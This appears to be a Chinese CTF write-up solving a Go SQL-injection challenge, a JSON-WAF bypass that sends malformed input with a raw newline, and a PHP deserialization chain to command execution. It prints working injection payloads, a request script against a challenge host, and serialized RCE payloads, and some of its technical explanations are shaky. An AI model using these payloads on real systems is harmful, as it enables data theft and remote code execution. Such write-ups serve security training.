这是这个周末的第二场外卡赛,国外的比赛好像特别喜欢js这种语言,两次打了两场比赛,两场比赛都有js,对于XSS漏洞,国内基本上没有什么比赛在出这种题,但是国外特别喜欢出,一出就很难,基本上是0解,这一次靠着川哥解了两道Web,还是有很大的收获的
ChadGPT
一个SQL注入的题目,其实很简单,只是这是用Go写的,国内的SQL注入一般都是PHP,这还是第一次遇到Go语言的SQL注入
main.go
rows, err := db.QueryContext(ctx, `SELECT reply FROM replies WHERE LOWER(prompt) LIKE '%`+strings.ToLower(q.Q)+`%' LIMIT 1`)
查询语句就是这里,使用的单引号闭合,有回显
waf.go
func sqlSafe(s string) string {
s = strings.ReplaceAll(s, "'", "''")
s = strings.ReplaceAll(s, "\"", "\"\"")
return s
}
将'替换为'',将"替换为"",只有这一个过滤
如果没有过滤,我们将构造的语句是什么样的呢,是不是' union select 1#
但是过了waf之后就变为了'' union select 1#
我们只要能把前面一个'给注释掉,让他被解析为一个字符串,而不是'就可以轻松绕过了,注释符自然是\了,所以最终的payload
\' union select flag from flags#
GigaChadGPT
和上一题唯一的区别就在于waf上
func isStringSafe(s string) bool {
alpha := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 \t\n\r"
for _, c := range s {
if !strings.ContainsRune(alpha, c) {
return false
}
}
return true
}
func isSafeJson(j any) bool {
switch v := j.(type) {
case string:
return isStringSafe(v)
case []any:
out := true
for _, lv := range v {
out = isSafeJson(lv) && out
}
return out
case map[string]any:
out := true
for _, mv := range v {
out = isSafeJson(mv) && out
}
return out
}
return true
}
func trySanitizeJson(r *http.Request) bool {
var j any
var buf bytes.Buffer
tee := io.TeeReader(r.Body, &buf)
defer func() {
r.Body.Close()
r.Body = io.NopCloser(&buf)
}()
if err := json.NewDecoder(tee).Decode(&j); err != nil {
return true
}
return isSafeJson(j)
}
这里限制的很死,只允许字母和数字,但是又给了我们\r\n\t,利用点自然就到了这里,想要通过waf的限制不太可能,那我们绕过waf这个函数是否可以呢,当然可以,我们看看main.go里面的这一行代码
safe := trySanitizeJson(request)
我们传入的参数,经过trySanitizeJson
这个函数才会被waf检测,这个函数是用来json解码的,他有一个逻辑上的问题,如果我们json解码失败,他就会直接返回true
if err := json.NewDecoder(tee).Decode(&j); err != nil {
return true
}
怎样会导致json解码失败呢,联想到\r\n\t还没利用起来,那我们尝试利用它来构造我们的payload
import requests
url = "https://gigachadgpt-647150b7b2303d42.brics-ctf.ru/api/predict"
headers = {
"Content-Type":"application/json"
}
req = requests.post(url=url,data="{\"q\":\"\n\'union select flag from flags#\"}",headers=headers)
print(req.text)
这里提交json格式的数据不能直接传requests模块里面的json参数,因为json会把\r\n\t解析为字符串,就会被waf拦截,所以我们要手动提交json参数
为什么\r\t\n回到是json解码失败呢,这是因为\n导致了json格式不正确,json格式不正确就会解码失败
这也给我们绕waf提供了一种思路,如果waf本身限制得很死,那么我们就该考虑从代码的逻辑上入手了
香山杯2023
PHP_unserialize_pro
简单的反序列化加绕过
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|*|?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['data']))
unserialize($_GET['data']);
else
highlight_file(__FILE__);
?>
构造就不多说了,主要看看绕过
if(preg_match('/f|l|a|g|*|?/i', $cmd)){
die("U R A BAD GUY");
}
这里过滤了$cmd,而且是单字符过滤,就导致拼接,bash,hex这些都没用了,一般来说我们最后构造的命令都是这种形式
eval(system("ls /"));
既然它没有限制$shell这个参数,我们就换一种执行方法,用$_POST来绕过preg_match
eval(assert(system($_POST[1])));
所以最后的payload:
O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"assert";s:3:"cmd";s:19:"system($_POST["b"])";}}}
当然还有其他的payload,这里就不多解释了
<?php
error_reporting(0);
class Welcome{
public $name = 'A_G00d_H4ck3r';
public $arg = 'welcome';
public function __construct(){
$this->name == 'A_G00d_H4ck3r';
}
}
class G00d{
//本地调试打好的题
// public $shell = 'strtolower';
// public $cmd = 'dir ../../../../../';
// public $cmd = 'show_source(chr(47).chr(102).chr(49).chr(97).chr(103));';
public $shell = 'system';
// public $cmd = 'dir';
// public $cmd = 'more /[e-h]1[0-b][e-h]';
public $cmd = 'sort /[!q]1[!q][!q]';
// public $cmd = 'cd /;echo `more dir`';
public function __invoke(){ //__invoke会在把对象当作一个方法调用的时候自动调用
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|*|?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __construct(){
$this->func = new G00d();
}
}
$a = new Welcome();
$a->arg = new H4ck3r();
echo serialize($a);